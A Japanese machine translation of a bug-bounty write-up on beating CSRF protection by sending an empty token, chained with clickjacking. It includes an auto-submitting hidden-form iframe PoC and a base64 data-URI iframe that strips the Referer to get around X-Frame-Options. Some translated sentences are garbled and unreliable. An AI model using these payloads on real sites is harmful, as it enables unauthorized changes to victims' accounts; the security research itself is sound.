Improper CSRF token handling leads to site-wide CSRF issue, chained with clickjacking = woot! Multiple sites vulnerableからCSRFを学ぶ

ソース:

zseano.medium.com

脆弱性CSRF、clickjacking

 

訳:

 私の講演では、一部のサイトがクリックジャッキングで備えている CSRF 保護をバイパスするための興味深いテクニックについて説明し。

 

不適切な CSRF トークン処理 + クリックジャッキング

CSRF トークンは、redacted.com に影響を与える「アクション」 (電子メールの更新など) を実行するために evil.com からのリクエストを防ぐように設計されていますが、サイトがそれを正しく処理しない場合はどうなるのでしょうか?

 

 

次のようなリクエストがあると想像してください。

 

POST /settings HTTP/1.1
Host: redacted.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://www.redacted.com/settings
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: session=loggedin

email=example@email.com&name=Example&csrf_token=d9238iedodqw9e9

 

比較的普通に見えますよね? csrf_token が有効である限り、メールアドレスと名前が更新されます。
トークン値を送信するとどうなるでしょうか、空の

 

email=example@email.com&name=Example&csrf_token=

 

一部のサイトは実際には、あなたが望んでいた変更 (電子メールや名前の更新など) を返しますが、「 無効な CSRF トークン」というエラーが表示されます。 リクエストを再送信してください。

リクエストを送信すると、変更が保存されます。
通常、このエラーは複数の方法で発生する可能性があります。
たとえば、単純に CSRF トークンを使用する方法もあります
別のユーザーがリクエストを送信すると、サイトはそのリクエストを有効 (あなたのもの) とみなし、 そのユーザーにとっては無効であるため、加えたい変更は反映されますが、エラーが発生します。
サイトと CSRF トークンの処理方法に応じて、他の方法もあります。

したがって、ユーザーがリクエストを送信すると、変更が保存されるようになります。
武器化しましょう!

次のコードを使用して iframe でリクエストを実行するだけで、ユーザーをクリックジャックできます。

 

<iframe src=”” id=”mainsrc” name=”mainsrc”></iframe>
<div style=”display:none”>
<form action=”https://www.bugbountynotes.com/aaa" id=”mainfrm” method=”POST” target=”mainsrc”>
<input type=”text” name=”email” value=”email@example.com”>
<input type=”text” name=”name” value=”Example”>
<input type=”text” name=”csrf_token” value=””>
</form>
</div>

<script>
window.onload = function(e){
document.getElementById(“mainfrm”).submit();
}
</script>

 

比較的シンプルですよね? クリックジャッキング PoC を作成するための優れたツール (そして本当に古い!) は「cakeslice.html」で、ここからダウンロードできます: https://www.bugbountynotes.com/cakeslice.html.zip

URL を入力し、Web サイトのどの部分を iframe したいかをドラッグするだけです。 スクロールできないため、# を使用してページを下に移動すると便利です。 (より良いツールを知っている場合は、@zseano にツイートしてください!)。 簡単! :)

 

しかし、応答には X-FRAME-OPTIONS ヘッダーがあります:(

 

問題ない! ;) これもまた、複数の方法でバイパスできる場合があります (構築されたフレームワークによって異なります)。
ヘッダー値に依存しているサイトがいかに多いかに驚くでしょう Referer ヘッダーの設定に X-FRAME-OPTIONS

場合によっては、 リファラー ルート ドメイン 設定されなくなり 設定すると、X-FRAME-OPTIONS が リファラー ヘッダーが設定されなくなり ます 。 空のリファラーを設定するにはどうすればよいでしょうか? データを使用して、上記のフォームを別の iframe で iframe します。

 

<iframe src=”data:text/html;base64,PGlmcmFtZSBzcmM9IiIgaWQ9Im1haW5zcmMiIG5hbWU9Im1haW5zcmMiPjwvaWZyYW1lPgo8ZGl2IHN0eWxlPSJkaXNwbGF5Om5vbmUiPgo8Zm9ybSBhY3Rpb249 Imh0dHBzOi8vd3d3LmJ1Z2JvdW50eW5vdGVzLmNvbS9hYWEiIGlkPSJtYWluZnJtIiBtZXRob2Q9IlBPU1QiIHRhcmdldD0ibWFpbnNyYyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1l PSJlbWFpbCIgdmFsdWU9ImVtYWlsQGV4YW1wbGUuY29tIj4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSJFeGFtcGxlIj4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im NzcmZfdG9rZW4iIHZhbHVlPSIiPgo8L2Zvcm0+CjwvZGl2Pgo8c2NyaXB0Pgp3aW5kb3cub25sb2FkID0gZnVuY3Rpb24oZSl7wqAKwqBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib WFpbmZybSIpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pg==”></iframe> 

 

テストしてみると、Referer ヘッダーがないだけでなく、オリジンが「null」に設定されていることがわかります。これにより、CORS ヘッダーの処理方法に関してさらに多くの問題が発生する可能性があります。

@WPalant は、実際には HTML タグを使用して設定できることも教えてくれました。

 

ほなほな。